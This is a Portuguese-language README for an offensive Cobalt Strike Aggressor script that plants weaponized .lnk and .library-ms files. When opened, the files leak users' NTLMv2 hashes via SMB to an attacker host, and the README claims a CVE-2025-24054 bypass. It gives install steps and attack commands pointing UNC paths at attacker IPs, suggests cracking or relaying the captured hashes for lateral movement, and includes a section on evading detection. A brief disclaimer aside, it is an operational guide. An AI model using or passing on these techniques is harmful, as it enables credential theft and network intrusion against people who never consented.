LNK Weaponizer - Script Aggressor do Cobalt Strike
Um script Aggressor abrangente do Cobalt Strike que weaponiza e executa arquivos LNK maliciosos e arquivos Library-MS para divulgação de hashes NTLMv2-SSP via SMB. Inclui técnicas de bypass do CVE-2025-24054.
⚠️ AVISO
Esta ferramenta é apenas para fins educacionais e de pesquisa. O autor não se responsabiliza por qualquer uso indevido deste código. Utilize apenas em sistemas que você possui ou tem permissão explícita para testar.
Capturando Hashes NTLM
Este script gera arquivos .lnk e .library-ms weaponizados que disparam autenticação SMB para o host do operador quando abertos.
Os hashes NTLMv2 vazados não são exibidos no Cobalt Strike, mas devem ser capturados com ferramentas externas como Responder, Impacket’s ntlmrelayx.py ou Inveigh executadas no sistema atacante.
Uma vez coletados, os hashes podem ser quebrados com Hashcat ou retransmitidos para movimentação lateral.
🎯 Funcionalidades
- Weaponização de arquivos LNK: Cria atalhos maliciosos para captura de hashes NTLM
- Criação de arquivos Library-MS: Implementa técnica de bypass do CVE-2025-24054
- Integração com menu de contexto: Acesso fácil através do menu de contexto do beacon do Cobalt Strike
- Interface de linha de comando: Comandos diretos para automação e scripts
- Diálogos interativos: Entrada de parâmetros amigável ao usuário
- Implantação rápida: Configurações pré-definidas para implantação ágil
- Configuração global: Personalização fácil das configurações padrão
📁 Estrutura do Projeto
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Script Aggressor principal (v2.0)
├── standalone_lnk_weaponizer.ps1 # Versão PowerShell independente
├── README.md # Esta documentação
├── INSTALL.md # Guia de instalação e configuração
└── examples/
├── usage_scenarios.md # Exemplos práticos de uso
└── sample_targets.csv # Arquivo de operação em lote de exemplo
🚀 Instalação
- Copie
lnk_weaponizer.cna para o diretório de scripts Aggressor do Cobalt Strike
- Carregue o script no Cobalt Strike:
- Acesse
Cobalt Strike → Script Manager
- Clique em
Load e selecione lnk_weaponizer.cna
- O script será inicializado automaticamente e exibirá os comandos disponíveis
📖 Uso
Clique com o botão direito em qualquer beacon no Cobalt Strike para acessar:
- Create LNK File: Diálogo interativo para criação personalizada de LNK
- Create Library-MS File: Diálogo interativo para criação de Library-MS (bypass CVE-2025-24054)
- Quick LNK (Default Settings): Implantação rápida de LNK com valores predefinidos
- Quick Library-MS (Default Settings): Implantação rápida de Library-MS com valores predefinidos
Comandos de Linha de Comando
Comandos de arquivo LNK
# Criar arquivo LNK com parâmetros personalizados
lnk_create <path> <ip> <share> <file>
# Exemplo
lnk_create C:\Temp 192.168.1.10 share payload.exe
Comandos de arquivo Library-MS
# Criar arquivo Library-MS com parâmetros personalizados
library_create <path> <ip> <share>
# Exemplo
library_create C:\Temp 10.10.14.22 share
Comandos rápidos
# Usar configurações padrão
lnk_quick
library_quick
# Mostrar ajuda
lnk_help
🔧 Configuração
Configurações Padrão
O script utiliza estes valores padrão configuráveis:
- IP:
192.168.1.10
- Share:
share
- Path:
C:\Temp
Personalizando os Padrões
Edite as variáveis globais em lnk_weaponizer.cna:
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
🎯 Como Funciona
Técnica de Arquivo LNK
- Geração do Script PowerShell: Cria um script PowerShell que gera o arquivo LNK malicioso
- Criação do arquivo LNK: Utiliza o objeto COM Shell do Windows para criar um atalho apontando para um local SMB remoto
- Acionamento do ícone: Força o Explorer a buscar o ícone PE do binário remoto, disparando a autenticação NTLM
- Captura do hash: O hash NTLMv2-SSP é capturado quando o usuário interage com o arquivo
Técnica Library-MS (Bypass CVE-2025-24054)
- Geração do XML: Cria um arquivo XML Library-MS com referência a caminho UNC
- Criação do arquivo: Gera o arquivo
.library-ms no diretório alvo
- Interação do usuário: Quando o usuário dá duplo clique no arquivo Library-MS, o Windows tenta acessar o caminho UNC
- Disparo da autenticação: A autenticação SMB é disparada, capturando o hash NTLM
Detalhes Técnicos
Ambas as técnicas criam arquivos que:
- Apontam para locais SMB remotos
- Disparam autenticação quando acessados
- Bypassam controles de segurança comuns
- Proporcionam captura confiável de hashes
O script fornece logs detalhados:
[+] Creating LNK file on TARGET-COMPUTER
[+] Target UNC: \\192.168.1.10\share\payload.exe
[+] Local Path: C:\Temp
[+] LNK weaponization completed
[!] Wait for user to click the LNK file to capture NTLM hash
🛡️ Considerações de Segurança
Evitando Detecção
- Use nomes e caminhos de compartilhamento com aparência legítima
- Considere o momento da implantação para evitar detecção
- Monitore alertas de ferramentas de segurança
- A técnica Library-MS fornece evasão adicional
Segurança Operacional
- Use servidores SMB dedicados para coleta de hashes
- Implemente registro e monitoramento adequados
- Siga os procedimentos da equipe vermelha da sua organização
- Documente todas as atividades de teste
- Garanta autorização adequada antes de testar
- Documente todas as atividades de teste
- Respeite escopo e limites
🔍 Solução de Problemas
Problemas Comuns
-
Beacon não encontrado
- Certifique-se de que o computador alvo possui um beacon ativo
- Verifique a ortografia do nome do computador em operações em lote
-
Permissão negada
- Verifique as permissões de gravação no caminho alvo
- Verifique as configurações de UAC no sistema alvo
-
Política de Execução do PowerShell
- O script usa
bpowershell() para lidar com restrições
- Certifique-se de que o PowerShell está disponível no alvo
Modo de Depuração
Ative a saída detalhada modificando o script:
# Adicione log de depuração
blog($bid, "[DEBUG] Executing command: " . $command);
📝 Exemplos
Cenário 1: Implantação de Arquivo LNK
# Criar arquivo LNK em um alvo específico
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
# Criar arquivo Library-MS para bypass do CVE-2025-24054
library_create C:\Users\Public\Desktop 192.168.1.100 share
Cenário 3: Ataque Rápido
# Usar configurações padrão para implantação rápida
lnk_quick
library_quick
🔬 Técnicas Avançadas
Bypass CVE-2025-24054
A técnica Library-MS implementa um bypass para o CVE-2025-24054 ao:
- Utilizar o formato de arquivo Library-MS em vez de arquivos LNK tradicionais
- Aproveitar o sistema de Bibliotecas do Windows para disparar autenticação
- Fornecer capacidades adicionais de evasão
Estratégias de Evasão
- Nomeação de Arquivos: Use nomes e extensões realistas
- Seleção de Caminho: Implante em diretórios comuns de usuários
- Temporização: Execute durante o horário comercial normal
- Rotação: Varie IPs de servidores SMB e nomes de compartilhamento
🤝 Contribuição
- Faça um fork do repositório
- Crie um branch de funcionalidade
- Faça suas alterações
- Teste minuciosamente
- Envie um pull request
📄 Licença
Este projeto é fornecido como está para fins educacionais. Use com responsabilidade e de acordo com as leis e regulamentos aplicáveis.
🙏 Agradecimentos
- Equipe do Cobalt Strike pelo framework Aggressor
- Comunidade de equipes vermelhas por testes e feedback
- Pesquisadores de segurança que pioneiraram ataques baseados em LNK
- Contribuidores da pesquisa sobre o CVE-2025-24054
Lembre-se: Sempre obtenha autorização adequada antes de testar em qualquer sistema.